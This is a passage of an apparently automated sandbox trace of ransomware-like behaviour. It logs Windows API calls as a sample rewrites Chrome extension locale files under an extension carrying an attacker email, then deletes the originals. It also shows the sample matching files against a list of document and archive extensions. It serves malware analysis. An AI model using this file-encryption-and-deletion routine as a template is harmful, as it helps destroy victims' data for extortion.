(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json")) returned 0x2020 [0173.072] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.072] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.072] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.072] GetLastError () returned 0x0 [0173.072] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd8, lpOverlapped=0x0) returned 1 [0173.073] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.075] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.075] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.075] SetEndOfFile (hFile=0x320) returned 1 [0173.075] CloseHandle (hObject=0x320) returned 1 [0173.075] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.075] SetEndOfFile (hFile=0x1a0) returned 1 [0173.258] CloseHandle (hObject=0x1a0) returned 1 [0173.258] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.262] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json")) returned 1 [0173.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.262] lstrlenW (lpString=".doc") returned 4 [0173.262] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.262] lstrlenW (lpString=".docx") returned 5 [0173.262] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.262] lstrlenW (lpString=".pdf") returned 4 [0173.262] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.262] lstrlenW (lpString=".xls") returned 4 [0173.262] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.262] lstrlenW (lpString=".xlsx") returned 5 [0173.262] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.262] lstrlenW (lpString=".ppt") returned 4 [0173.262] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.262] lstrlenW (lpString=".zip") returned 4 [0173.263] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.263] lstrlenW (lpString=".rar") returned 4 [0173.263] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.263] lstrlenW (lpString=".bz2") returned 4 [0173.263] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.263] lstrlenW (lpString=".7z") returned 3 [0173.263] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.263] lstrlenW (lpString=".dbf") returned 4 [0173.263] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.263] lstrlenW (lpString=".1cd") returned 4 [0173.263] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.263] lstrlenW (lpString=".jpg") returned 4 [0173.263] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.263] lstrlenW (lpString=".doc") returned 4 [0173.263] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.263] lstrlenW (lpString=".docx") returned 5 [0173.263] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.263] lstrlenW (lpString=".pdf") returned 4 [0173.263] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.263] lstrlenW (lpString=".xls") returned 4 [0173.263] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.263] lstrlenW (lpString=".xlsx") returned 5 [0173.263] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.263] lstrlenW (lpString=".ppt") returned 4 [0173.264] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.264] lstrlenW (lpString=".zip") returned 4 [0173.264] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.264] lstrlenW (lpString=".rar") returned 4 [0173.264] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.264] lstrlenW (lpString=".bz2") returned 4 [0173.264] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.264] lstrlenW (lpString=".7z") returned 3 [0173.264] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.264] lstrlenW (lpString=".dbf") returned 4 [0173.264] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.264] lstrlenW (lpString=".1cd") returned 4 [0173.264] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 151 [0173.264] lstrlenW (lpString=".jpg") returned 4 [0173.264] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.264] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.264] lstrlenW (lpString="messages.json") returned 13 [0173.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.265] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=207) returned 1 [0173.265] CloseHandle (hObject=0x1a0) returned 1 [0173.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json")) returned 0x2020 [0173.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.265] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.265] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.266] GetLastError () returned 0x0 [0173.266] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xcf, lpOverlapped=0x0) returned 1 [0173.267] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.268] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.268] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.268] SetEndOfFile (hFile=0x1b4) returned 1 [0173.268] CloseHandle (hObject=0x1b4) returned 1 [0173.268] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.268] SetEndOfFile (hFile=0x1a0) returned 1 [0173.269] CloseHandle (hObject=0x1a0) returned 1 [0173.269] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.269] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json")) returned 1 [0173.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.270] lstrlenW (lpString=".doc") returned 4 [0173.270] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.270] lstrlenW (lpString=".docx") returned 5 [0173.270] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.270] lstrlenW (lpString=".pdf") returned 4 [0173.270] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.270] lstrlenW (lpString=".xls") returned 4 [0173.270] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.270] lstrlenW (lpString=".xlsx") returned 5 [0173.270] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.270] lstrlenW (lpString=".ppt") returned 4 [0173.270] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.270] lstrlenW (lpString=".zip") returned 4 [0173.270] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.270] lstrlenW (lpString=".rar") returned 4 [0173.270] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.270] lstrlenW (lpString=".bz2") returned 4 [0173.270] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.270] lstrlenW (lpString=".7z") returned 3 [0173.270] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.270] lstrlenW (lpString=".dbf") returned 4 [0173.270] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.270] lstrlenW (lpString=".1cd") returned 4 [0173.270] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.270] lstrlenW (lpString=".jpg") returned 4 [0173.270] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.271] lstrlenW (lpString=".doc") returned 4 [0173.271] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.271] lstrlenW (lpString=".docx") returned 5 [0173.271] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.271] lstrlenW (lpString=".pdf") returned 4 [0173.271] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.271] lstrlenW (lpString=".xls") returned 4 [0173.271] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.271] lstrlenW (lpString=".xlsx") returned 5 [0173.271] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.271] lstrlenW (lpString=".ppt") returned 4 [0173.271] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.271] lstrlenW (lpString=".zip") returned 4 [0173.271] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.271] lstrlenW (lpString=".rar") returned 4 [0173.271] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.271] lstrlenW (lpString=".bz2") returned 4 [0173.271] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.271] lstrlenW (lpString=".7z") returned 3 [0173.271] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.271] lstrlenW (lpString=".dbf") returned 4 [0173.271] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.271] lstrlenW (lpString=".1cd") returned 4 [0173.271] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.272] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0173.272] lstrlenW (lpString=".jpg") returned 4 [0173.272] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.272] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.272] lstrlenW (lpString="messages.json") returned 13 [0173.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.272] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=217) returned 1 [0173.272] CloseHandle (hObject=0x1a0) returned 1 [0173.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json")) returned 0x2020 [0173.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.273] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.273] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.273] GetLastError () returned 0x0 [0173.273] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd9, lpOverlapped=0x0) returned 1 [0173.274] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.275] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.275] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.275] SetEndOfFile (hFile=0x1b4) returned 1 [0173.275] CloseHandle (hObject=0x1b4) returned 1 [0173.275] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.275] SetEndOfFile (hFile=0x1a0) returned 1 [0173.276] CloseHandle (hObject=0x1a0) returned 1 [0173.277] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", 